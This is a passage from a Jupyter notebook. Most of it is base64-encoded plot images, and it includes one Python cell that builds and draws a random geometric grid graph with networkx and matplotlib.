XDyjKBLf9+XQ\n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\nfCCee0RAzQhodlwN5xABtSOg2SOeCSCgZgR0/FwP5xABtSOg2SKeCSGgZgR0fIoSziECakdAs0M8\nE0RAzQho+ooWziECakdAs0E8E0ZAzQhoeooaziECakdAx494poCAmhHQ5BU9nEME1I6AjhfxTAkB\nNSOgySlLOIcIqB0BHR/imSICakZA965s4RwioHYEdDyIZ8oIqBkBHV1ZwzlEQO0IaPqI5xgQUDMC\nGl/ZwzlEQO0IaLqI55gQUDMCunuE83EE1I6Apod4jhEBNSOgz0Y4d0ZA7QhoOojnmBFQMwJqRjjt\nCKgdAU0e8cwAATUjoE8jnLtDQO0IaLKIZ0YIqBkB/RXCGQ8BtSOgySGeGSKgZgSUcI6KgNoR0GQQ\nz4wRULMyB5Rw7g0BtSOge0c8c4CAmpUxoIQzGQTUjoDuDfHMCQJqVqaAEs5kEVA7Ajo64pkjBNSs\nDAElnOkgoHYEdDTEM2cIqFmRA0o400VA7QhofMQzhwioWREDSjjHg4DaEdB4iGdOEVCzIgWUcI4X\nAbUjoLtHPHOMgJoVIaCEMxsE1I6A7g7xzDkCauZyQAlntgioHQF9NuLpAAJq5mJACWc+EFA7AmpH\nPB1BQM1cCijhzBcCakdAzYinQwiomQsBJZz5REDtCOjOiKdjCKhZngNKOPONgNoR0KcRTwcRULM8\nBpRwuoGA2hHQxxFPRxFQszwFlHC6hYDaEdBfIZ4OI6BmeQgo4XQTAbUjoA8QT8cRULMsA0o43UZA\n7QioyL5Go9HI+ibSMBgM5OrVq9Jut+Wjjz6SS5cuydbWlnQ6Hdm3b5+88MIL8txzxfje4fnnn5c/\n/dM/lTNnzsj/+3//T37nd37H+vFl2ua5556Tb3zjG/Lf//3f0mw25c/+7M/k137t16yfs9d9ihzO\nMj129u/fL3/+538uf//3fy/Xrl2T6elp8TzP+jll2qdWq4mqyptvvinf/OY35eDBg9aPL9w2WjCd\nTkcXFhY0DEMVERUR9X1fgyBQ3/cf/lwYhrqwsKCdTifrW07MjRs39MiRI/rjH/94x/9e5m0Gg4F+\n61vf0q9//et6//79HT8miX0+/fRTffHFF/VHP/pR2l/SWJX5sbO5uakvv/yyfvvb39Yvvvhix48p\n8z7nz5/Xl156ST/77LMd/3tRtylMPKMo0pmZGRURrVQqOjc3p61WSzc2Nh77uI2NDW21Wlqv17VS\nqaiI6MzMjEZRlNGdJ2ungLLNA6aAJrVPEcPJY+cBU0DZ54GdAlr0bQoRz3a7rUEQaLVa1eXlZe31\nerv6vF6vp8vLy1qtVjUIAl1dXU35Tsfj0YCyzeOeDGhS+7z33nuFCyePncc9GVD2edyjAS3DNs7H\ns9lsqud5WqvVtNvtjnSNbrertVpNPc/TZrOZ7A1m5MaNGxqGIdvsYBjQr33ta4ntIyL62muvJXuj\nGeL31c6GAX3llVfYZwfnz5/X559/vhTbOB3Pdrutnufp9PS09vv9PV2r3+/r9PS0ep6n7XY7oTvM\nDtvYtVotFRH22QGPHbt/+Zd/4bFjUKbHjrPxvHXrlgZBoLVabc+/SEP9fl9rtZoGQZD759tt2MaO\nfczYxo59zMq2jbPxnJmZ0Wq1qjdv3kz0ut1uV6vVqs7OziZ63XFiGzv2MWMbO/YxK9s2Tsbz+vXr\nKiK6vLycyvUbjYaKiDP/ZPpRbGPHPmZsY8c+ZmXcxsl4LiwsaKVS0Tt37qRy/V6vp5VKRRcXF1O5\nfprYxo59zNjGjn3MyriNc/Hc3t7WMAx1bm4u1XPq9bqGYajb29upnpMktrFjHzO2sWMfs7Ju49Br\nIT1w7do12dzclFOnTqV6zunTp2Vzc1PW19dTPSdJbGPHPmZsY8c+ZmXdxrl4rq2tiYjI8ePHUz3n\n2LFjj53nAraxYx8ztrFjH7OybuNcPKMoEt/35dChQ6mec/jwYfF9X6IoSvWcJLGNHfuYsY0d+5iV\ndRtP1a332nn77bflgw8+kLt376Z+1sGDB+XevXupn5OkIAjYxoJ9zNjGjn3MxrnNG2+8Ie+8807q\nZz2Lc3/z3L9//9jel7Hf78vS0pLog39YlfsfZ8+eZRv2YRv2KfQ2Bw4cGMtZz+JcPCcmJmQwGMjt\n27dTPWdjY0MGg4FMTEykek6S2MaOfczYxo59zMq6jXPxnJqaEhGRy5cvp3rOlStXHjvPBWxjxz5m\nbGPHPmZl3ca5eB49elTCMJR2u53qORcvXpQwDGVycjLVc5LENnbsY8Y2duxjVtpt1EFlfDWL3WIb\nO/YxYxs79jEr4zbO/c1TRGR+fl62trZkZWUlleuvrKzI1taWzM/Pp3L9NLGNHfuYsY0d+5iVcpus\n6z2q4Sv4j/pmqyZ5fQX/ONjGjn3M2MaOfczKto2z8YyiqFTvHRcH29ixjxnb2LGPWdm2cTaequm9\na/nq6mpCd5gdtrFjHzO2sWMfszJt43Q8VVWbzaZ6nqe1Wm3kpwu63a7WajX1PE+bzWayN5ghtrFj\nHzO2sWMfs7Js43w8VR98txMEgVarVW00Gtrr9Xb1eb1eTxuNhlarVQ2CIJff3ewV29ixjxnb2LGP\nWRm2KUQ8VR883z47O6siopVKRev1urZaraeeJ4+iSFutltbrda1UKioiOjs7m7vn05PENnbsY8Y2\nduxjVvRtChPPoU6no4uLixqGoYqIioj6vq9BEKjv+w9/LgxDXVxc1E6nk/Utjw3b2LGPGdvYsY9Z\nUbdx7l1VdmswGMj6+rqsra1JFEXy85//XA4cOCATExMyNTUlk5OT4vt+1reZCbaxYx8ztrFjH7Oi\nbVPYeAIAkBYnX2EIAIAsEU8AAGIingAAxEQ8AQCIiXgCABAT8QQAICbiCQBATMQTAICYiCcAADER\nTwAAYiKeAADERDwBAIiJeAIAEBPxBAAgJuIJAEBMxBMAgJiIJwAAMRFPAABiIp4AAMREPAEAiIl4\nAgAQE/EEACAm4gkAQEzEEwCAmIgnAAAxEU8AAGIingAAxEQ8AQCIiXgCABAT8QQAICbiCQBATMQT\nAICYiCcAADERTwAAYiKeAADERDwBAIiJeAIAEBPxBAAgJuIJAEBMxBMAgJiIJwAAMRFPAABiIp4A\nAMREPAEAiIl4AgAQE/EEACCm/w8lRu/+rGJusAAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11aefd290>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from itertools import product\n", "\n", "M = 6;\n", "N = 6\n", "Z = 1.7\n", "NN = M*N\n", "\n", "A = np.zeros((NN,NN))\n", "X = np.zeros((NN))\n", "Y = np.zeros((NN))\n", "\n", "sig = 0.1;\n", "coords = []\n", "#cols = (\"blue\",\"red\",\"yellow\",\"black\")\n", "cols = (\"black\",\"black\")\n", "col = []\n", "for i,j in product(range(N),range(M)):\n", " ex = np.random.randn(1)*sig\n", " ey = np.random.randn(1)*sig\n", " coords.append((j,i))\n", " X[i*M+j] = i+ex\n", " Y[i*M+j] = j+ey\n", " col.append(np.random.choice(cols))\n", " \n", " \n", " \n", "for k,r in product(range(NN),range(NN)):\n", " if k != r:\n", " d = (X[k]-X[r])**2 + (Y[k]-Y[r])**2\n", " A[k,r] = 1 if d < Z else 0\n", "\n", "G = nx.Graph(A)\n", "\n", "plt.figure(figsize=(M,N))\n", "#nx.draw(G, pos, node_color=\"white\", node_size=500, labels=labels, font_size=10, arrows=True)\n", "nx.draw(G, coords, node_color='black', node_size=200, arrows=False, linewidths=14.)\n", "nx.draw_networkx_nodes(G, coords, node_color='white', node_size=200, arrows=False, linewidths=11., linecolors='black')\n", "#nx.draw_graphviz(G,node_size=500, labels=labels, font_size=24, arrows=True)\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAc8AAAHSCAYAAACKMEBuAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3U1sHHle//Fv/bdUaxczNXUAKekBBBJoJaSxJZJDOUE8\nbHgYHxZGCbK3LVbMCAnJILUlJCSwZhf37CoHDkgo0VpIvbssDxKgTlsjtBKLgBNOw17APqRnmIXO\nYVJOh4uHgbaxm/3+D1l74iS/37jsqq6uqvdL8mF7x1Xld8r5xD2ZbkdVVQAAwKn9v7wvAACAomE8\nAQBIiPEEACAhxhMAgIQYTwAAEmI8AQBIiPEEACAhxhMAgIQYTwAAEmI8AQBIiPEEACAhxhMAgIQY\nTwAAEmI8AQBIiPEEACAhxhMAgIQYTwAAEmI8AQBIiPEEACAhxhMAgIQYTwAAEmI8AQBIiPEEACAh\nxhMAgIQYTwAAEmI8AQBIiPEEACAhxhMAgIQYTwAAEmI8AQBIiPEEACAhxhMAgITcvC8gK6PRSLa2\ntqTb7Uocx7K/vy9TU1NSq9Vkbm5OZmdnxXVL++Vb0caOPma0saOPWenaaMn0ej1tNBoahqGKiIqI\nuq6rQRCo67rHj4VhqI1GQ3u9Xt6XPDa0saOPGW3s6GNW1jalGc84jnVhYUFFRD3P06WlJW2327qz\ns3Pin9vZ2dF2u631el09z1MR0YWFBY3jOKcrzx5t7OhjRhs7+piVvU0pxrPT6WgQBOr7vjabTR0M\nBqf6vMFgoM1mU33f1yAIdGNjI+MrHT/a2NHHjDZ29DGrQpvCj2er1VLHcTSKIu33+2c6Rr/f1yiK\n1HEcbbVa6V5gjmhjRx8z2tjRx6wqbQo9np1ORx3H0fn5eR0Oh+c61nA41Pn5eXUcRzudTkpXmB/a\n2NHHjDZ29DGrUpvCjueDBw80CAKNoujcv0hHhsOhRlGkQRBM/PPtNrSxo48ZbezoY1a1NoUdz4WF\nBfV9X+/fv5/qcfv9vvq+r4uLi6ked5xoY0cfM9rY0cesam0KOZ737t1TEdFms5nJ8dfW1lRECvNX\npp9EGzv6mNHGjj5mVWxTyPFsNBrqeZ4+evQok+MPBgP1PE9XVlYyOX6WaGNHHzPa2NHHrIptCjee\nh4eHGoahLi0tZXqeer2uYRjq4eFhpudJE23s6GNGGzv6mFW1TeFe23Zra0t2d3fl+vXrmZ7nxo0b\nsru7K9vb25meJ020saOPGW3s6GNW1TaFG89utysiIlevXs30PFeuXDlxviKgjR19zGhjR5+POI5z\n4uPy5csiUr02hRvPOI7FdV25cOFCpue5ePGiuK4rcRxnep400caOPma0saOPXRXbFG489/f3xff9\nsZzL933Z29sby7nSQBs7+pjRxm7cfW7evPnMT3iT8mG65nG1mZR7p3DjOTU1JcPhcCznGg6HMj09\nPZZzpYE2dvQxo43duPusrq6KPv4LnRP3YbrmcbWZlHuncONZq9VkNBrJw4cPMz3Pzs6OjEYjqdVq\nmZ4nTbSxo48Zbezo85Gnx/TWrVuVbFO48ZybmxMRkc3NzUzPc/fu3RPnKwLa2NHHjDZ29DGrapvC\njefs7KyEYSidTifT89y5c0fCMJSZmZlMz5Mm2tjRx4w2dvQxq2ybrP4D0ixV8dUsTos2dvQxo40d\nfcyq2KZwP3mKiCwvL8vBwYGsr69ncvz19XU5ODiQ5eXlTI6fJdrY0ceMNnb0Matkm7zX+6yOXsH/\nrG+2ajKpr+CfBG3s6GNGGzv6mFWtTWHHM47jSr13XBK0sXv77bdVROjzHP/+7/+un/jEJ2hj8Id/\n+IfcOwZV+32nsOOpmt27lm9sbKR0hfmhzfNtbm7qiy++qCKiIkKfJwyHQ/3Zn/1Z2hh8/etfV8dx\n6GNRpd93Cj2eqqqtVksdx9Eois78dEG/39coitRxHG21WuleYI5oc9LTw3n0QZ9nh5M2Jz09nPQx\nq8rvO4UfT9XHf9oJgkB939e1tTUdDAan+rzBYKBra2vq+74GQTCRf7o5L9o8ZhrOz372s5XvYxrO\nH/zBH9QXX3yx0m1Unz+cruvqb//2b1f+3jGpwu87pRhP1cfPty8uLqqIqOd5Wq/Xtd1uP/M8eRzH\n2m63tV6vq+d5KiK6uLg4cc+np6nqbUzDefSu91XuYxrOV155Rf/zP/+z0m1UzcPZbrdVtdr3zscp\ne5vSjOeRXq+nKysrGobhiZs9CAJ1Xff4sTAMdWVlRXu9Xt6XPDZVbPNxw/mkqvX5uOF8UtXaqH78\ncD6pin1Oq6xtHFXDK/0W3Gg0ku3tbbl06dKJx2/fvi1zc3MyMzMjruvmdHX5qkqbu3fvyquvviof\nfvjhicebzaZ84QtfMH7eUZ9utytxHMve3p5MT09LrVYrTZ+9vT35xV/8Rfm7v/u7E4+/8sor8g//\n8A/yvd/7vc/9vCq0ERH5kz/5E3n99ddPvBC667ryF3/xF3Ljxg3j51Wlz1mUrU1px/PI02+hU/Iv\nN5EytznrcFbBWYezKs46nKgWxrPCytrm3/7t3+Ty5csMp8Frr70mb7/99onHGM7HvvGNb8hnPvMZ\nhhMfq5AvzwfY/MiP/Ij83M/93InHGM6P/OZv/qZ84hOfOP7fDOdHfvInf1J+7Md+7Ph/M5wwKf14\n6hNv4FqWn6zSUtY27733nvzTP/2T/MRP/ISIMJxP+r//+z/50z/9U3nllVdkenqa4XxKt9uVhw8f\nHv/7N4YTJsX5t7PAKbz77rty7do1+dKXviS/+qu/evw0HB4P5xtvvCEPHjyQzc1N+Zd/+Rf51Kc+\nxXB+19/+7d/Kr/zKr8jbb78tMzMz8q1vfUuuXbuW92VhQpX+33kecRynVD9dpaksbY6G84tf/KK8\n8cYbeV/ORHlyOP/6r/9afN/P+5ImytFwbmxsyNWrV/O+HBRA6Z+2RTUwnGYMpx3DibNgPFF4DKcZ\nw2nHcOKsGE8UGsNpxnDaMZw4D8YThcVwmjGcdgwnzovxRCExnGYMpx3DiTQwnigchtOM4bRjOJEW\nxhOFwnCaMZx2DCfSxHiiMBhOM4bTjuFE2hhPFALDacZw2jGcyALjiYnHcJoxnHYMJ7LCeGKiMZxm\nDKcdw4ksMZ6YWAynGcNpx3Aia4wnJhLDacZw2jGcGAfGExOH4TRjOO0YTowL44mJwnCaMZx2DCfG\nifHExGA4zRhOO4YT48Z4YiIwnGYMpx3DiTwwnsgdw2nGcNoxnMgL44lcMZxmDKcdw4k8MZ7IDcNp\nxnDaMZzIG+OJXDCcZgynHcOJScB4YuwYTjOG047hxKRgPDFWDKcZw2nHcGKSMJ4YG4bTjOG0Yzgx\naRhPjAXDacZw2jGcmESMJzLHcJoxnHYMJyYV44lMMZxmDKcdw4lJxngiMwynGcNpx3Bi0jGeyATD\nacZw2jGcKALGE6ljOM0YTjuGE0XBeCJVDKcZw2nHcKJIGE+khuE0YzjtGE4UDeOJVDCcZgynHcOJ\nImI8cW4MpxnDacdwoqgYT5wLw2nGcNoxnCgyxhNnxnCaMZx2DCeKjvHEmTCcZgynHcOJMnDzvoCs\njEYj2drakm63K3Eci4jI6uqq1Go1mZubk9nZWXHd0n75VudtU/bhfLrP/v6+TE1NnapP2YfzPG1E\nyj+c5+1TZqVroyXT6/W00WhoGIYqIioi6rquBkGgrusePxaGoTYaDe31enlf8tik0eadd97Rl19+\nWb/61a/m8BVk67x9RqORfu5zn9NPf/rT+j//8z85fRXZSOPe+eY3v6nf933fp//4j/+Yw1eQLX7f\nMStrm9KMZxzHurCwoCKinufp0tKStttt3dnZOfHP7ezsaLvd1nq9rp7nqYjowsKCxnGc05VnL602\nZR3ONPqUdTjTunfKOpz8vmNW9jalGM9Op6NBEKjv+9psNnUwGJzq8waDgTabTfV9X4Mg0I2NjYyv\ndPzSanP79u1SDmdafX7qp36qdMOZVpvf+73fK+Vw8vuOWRXaFH48W62WOo6jURRpv98/0zH6/b5G\nUaSO42ir1Ur3AnOUZhsR0ddffz3dC8xZ2n2+/OUvp3uBOUq7ze/8zu+ke4E54/cds6q0KfR4djod\ndRxH5+fndTgcnutYw+FQ5+fn1XEc7XQ6KV1hfmhjRx8z2tjRx6xKbQo7ng8ePNAgCDSKonP/Ih0Z\nDocaRZEGQTDxz7fb0MaOPma0saOPWdXaFHY8FxYW1Pd9vX//fqrH7ff76vu+Li4upnrccaKNHX3M\naGNHH7OqtSnkeN67d09FRJvNZibHX1tbUxEpzF+ZfhJt7OhjRhs7+phVsU0hx7PRaKjnefro0aNM\njj8YDNTzPF1ZWcnk+FmijR19zGhjRx+zKrYp3HgeHh5qGIa6tLSU6Xnq9bqGYaiHh4eZnidNtLGj\njxlt7OhjVtU2hXtt262tLdnd3ZXr169nep4bN27I7u6ubG9vZ3qeNNHGjj5mtLGjj1lV2xRuPLvd\nrohI5q+LeeXKlRPnKwLa2NHHjDZ29PmI4zgnPi5fviwi1WtTuPGM41hc15ULFy5kep6LFy+K67rH\nL5xeBLSxo48ZbezoY1fFNoUbz/39/bG9U4Xv+7K3tzeWc6WBNnb0MaON3bj73Lx585mf8Cblw3TN\n42ozKfdO4cZzampKhsPhWM41HA5lenp6LOdKA23s6GNGG7tx91ldXRV9/Bc6J+7DdM3jajMp907h\nxrNWq8loNJKHDx9mep6dnR0ZjUZSq9UyPU+aaGNHHzPa2NHnI0+P6a1btyrZpnDjOTc3JyIim5ub\nmZ7n7t27J85XBLSxo48ZbezoY1bVNoUbz9nZWQnDUDqdTqbnuXPnjoRhKDMzM5meJ020saOPGW3s\n6GNW2TZZ/QekWariq1mcFm3s6GNGGzv6mFWxTeF+8hQRWV5eloODA1lfX8/k+Ovr63JwcCDLy8uZ\nHD9LtLGjjxlt7OhjVsk2ea/3WR29gv9Z32zVZFJfwT8J2tjRx4w2dp/5zGfoY1C1e6ew4xnHcaXe\nOy6Jt99+W0WENgbcO2a0MXv//ff1h3/4h/neMqjavVPY8VTN7l3LNzY2UrrC8dvc3NQXX3xRRURF\nhDYG3DtmtHnW+++/rz/6oz96/H3F99bzVeneKfR4qqq2Wi11HEejKDrz0wX9fl+jKFLHcbTVaqV7\ngWP09HAefdDm+bh3zGjzkecNJ99bZlW5dwo/nqqP/7QTBIH6vq9ra2s6GAxO9XmDwUDX1tbU930N\ngmAi/3RzWqbh/OxnP1v5NjbcO2a0MQ/na6+9pn/1V39V+T4mVbh3SjGeqo+fb19cXFQRUc/ztF6v\na7vdfuZ58jiOtd1ua71eV8/zVER0cXFx4p5PT8I0nEfv6l7lNqdBH7Mqt7EN5//+7/+qarX7fJyy\ntynNeB7p9Xq6srKiYRge3+yu62oQBOq67vFjYRjqysqK9nq9vC/5XD5uOJ9UtTZJ0cesam1OM5xP\nqlqfJMraxlE1vNJvwY1GI9ne3pZLly6dePz27dsyNzcnMzMz4rpuTleXjrt378qrr74qH3744YnH\nm82mfOELXzB+3lGbbrcrcRzL3t6eTE9PS61WK02b86jCvXNWVWjz4MED+Zmf+Rl57733Tjz+2muv\nyV/+5V+K53nGz+V7y6xsbUo7nkeefgudsny5Zx1OnF5Z7500lLXNeYYT1VLIVxiCyL/+678ynEDK\n/uM//kPef//9E48xnHgexrOgrl27Ji+99NLx/2Y4gfObmZmRH/qhHzp++pDhhEnpn7Y94jhOaZ5a\nevfdd+XatWvyxS9+UT788EP54IMP5POf/3zel1VaZbp30lamNh988IG8+uqr8uM//uNy48YN+cpX\nviJf+9rXGE48F+NZME8O5xtvvJH35VRCWe6dLJSlzZPDefv27Wf+nS7wNJ62LRCGE0gfw4mzYDwL\nguEE0sdw4qwYzwJgOIH0MZw4D8ZzwjGcQPoYTpwX4znBGE4gfQwn0sB4TiiGE0gfw4m0MJ4TiOEE\n0sdwIk2M54RhOIH0MZxIG+M5QRhOIH0MJ7LAeE4IhhNIH8OJrDCeE4DhBNLHcCJLjGfOGE4gfQwn\nssZ45ojhBNLHcGIcGM+cMJxA+hhOjAvjmQOGE0gfw4lxYjzHjOEE0sdwYtwYzzFiOIH0MZzIA+M5\nJgwnkD6GE3lhPMeA4QTSx3AiT4xnxhhOIH0MJ/LGeGaI4QTSx3BiEjCeGWE4gfQxnJgUjGcGGE4g\nfQwnJgnjmTKGE0gfw4lJw3imiOEE0sdwYhIxnilhOIH0MZyYVIxnChhOIH0MJyYZ43lODCeQPoYT\nk47xPAeGE0gfw4kiYDzPiOEE0sdwoigYzzNgOIH0MZwoEsYzIYYTSB/DiaJhPBNgOIH0MZwoIsbz\nlBhOIH0MJ4qK8TwFhhNIH8OJImM8PwbDCaSP4UTRMZ4WDCeQPoYTZeDmfQFZGY1GsrW1Jd1uV+I4\nFhGR1dVVqdVqMjc3J7Ozs+K65i+/zMP5dJv9/X2Zmpo6dZuyO++9U2bnbVP24eR7y6x0bbRker2e\nNhoNDcNQRURFRF3X1SAI1HXd48fCMNRGo6G9Xu+ZY7zzzjv68ssv61e/+tUcvoLspNGmzOhjlkab\n3d1djaJIf+M3fkO/853v5PBVZId7x6ysbUoznnEc68LCgoqIep6nS0tL2m63dWdn58Q/t7Ozo+12\nW+v1unqepyKiCwsLGsexqpZzONNqU1b0MUurTVmHk3vHrOxtSjGenU5HgyBQ3/e12WzqYDA41ecN\nBgNtNpvq+74GQaC3b98u3XCm1WZjYyPjK80HfczSavNnf/ZnpRxO7h2zKrQp/Hi2Wi11HEejKNJ+\nv3+mY/T7fY2iSEVEX3/99XQvMEdptnEcR1utVroXmDP6mKX9ffXTP/3TpRpO7h2zqrQp9Hh2Oh11\nHEfn5+d1OBye61jD4VDn5+fVcRztdDopXWF+aGNHHzPa2NHHrEptCjueDx480CAINIqic/8iHRkO\nhxpFkQZBMPHPt9vQxo4+ZrSxo49Z1doUdjwXFhbU9329f/9+qsft9/vq+74uLi6metxxoo0dfcxo\nY0cfs6q1KeR43rt3T0VEm81mJsdfW1tTESnMX5l+Em3s6GNGGzv6mFWxTSHHs9FoqOd5+ujRo0yO\nPxgM1PM8XVlZyeT4WaKNHX3MaGNHH7MqtinceB4eHmoYhrq0tJTpeer1uoZhqIeHh5meJ020saOP\nGW3s6GNW1TaFe23bra0t2d3dlevXr2d6nhs3bsju7q5sb29nep400caOPma0saOPWVXbFG48u92u\niIhcvXo10/NcuXLlxPkmleM4xx+XL18WEdqYcO+Y0caOPmZVbVO48YzjWFzXlQsXLmR6nosXL4rr\nuscvfl0UtDHj3jGjjR19zKrapnDjub+/L77vj+Vcvu/LzZs3T/x0N2kfz7vmcbXZ29sby7nSMu57\np0h9aGNHH7OqtinceE5NTclwOBzLuYbDoayuroo+/otVE/nxvGseV5vp6emxnCst4753itSHNnb0\nMatqm8KNZ61Wk9FoJA8fPsz0PDs7OzIajaRWq2V6nvN6ckhv3bpFGwvuHTPa2NHHrKptCjeec3Nz\nIiKyubmZ6Xnu3r174nxFQBs7+pjRxo4+ZlVtU7jxnJ2dlTAMpdPpZHqeO3fuSBiGMjMzk+l50kQb\nO/qY0caOPmaVbZPVf0CapSq+msVp0caOPma0saOPWRXbFO4nTxGR5eVlOTg4kPX19UyOv76+LgcH\nB7K8vJzJ8bNEGzv6mNHGjj5mlWyT93qf1dEr+J/1zVZNJvUV/JOgjR19zGhjRx+zqrUp7HjGcVyp\n945LgjZ29DGjjR19zKrWprDjqZrdu5ZvbGykdIX5oY0dfcxoY0cfsyq1KfR4qqq2Wi11HEejKDrz\n0wX9fl+jKFLHcbTVaqV7gTmi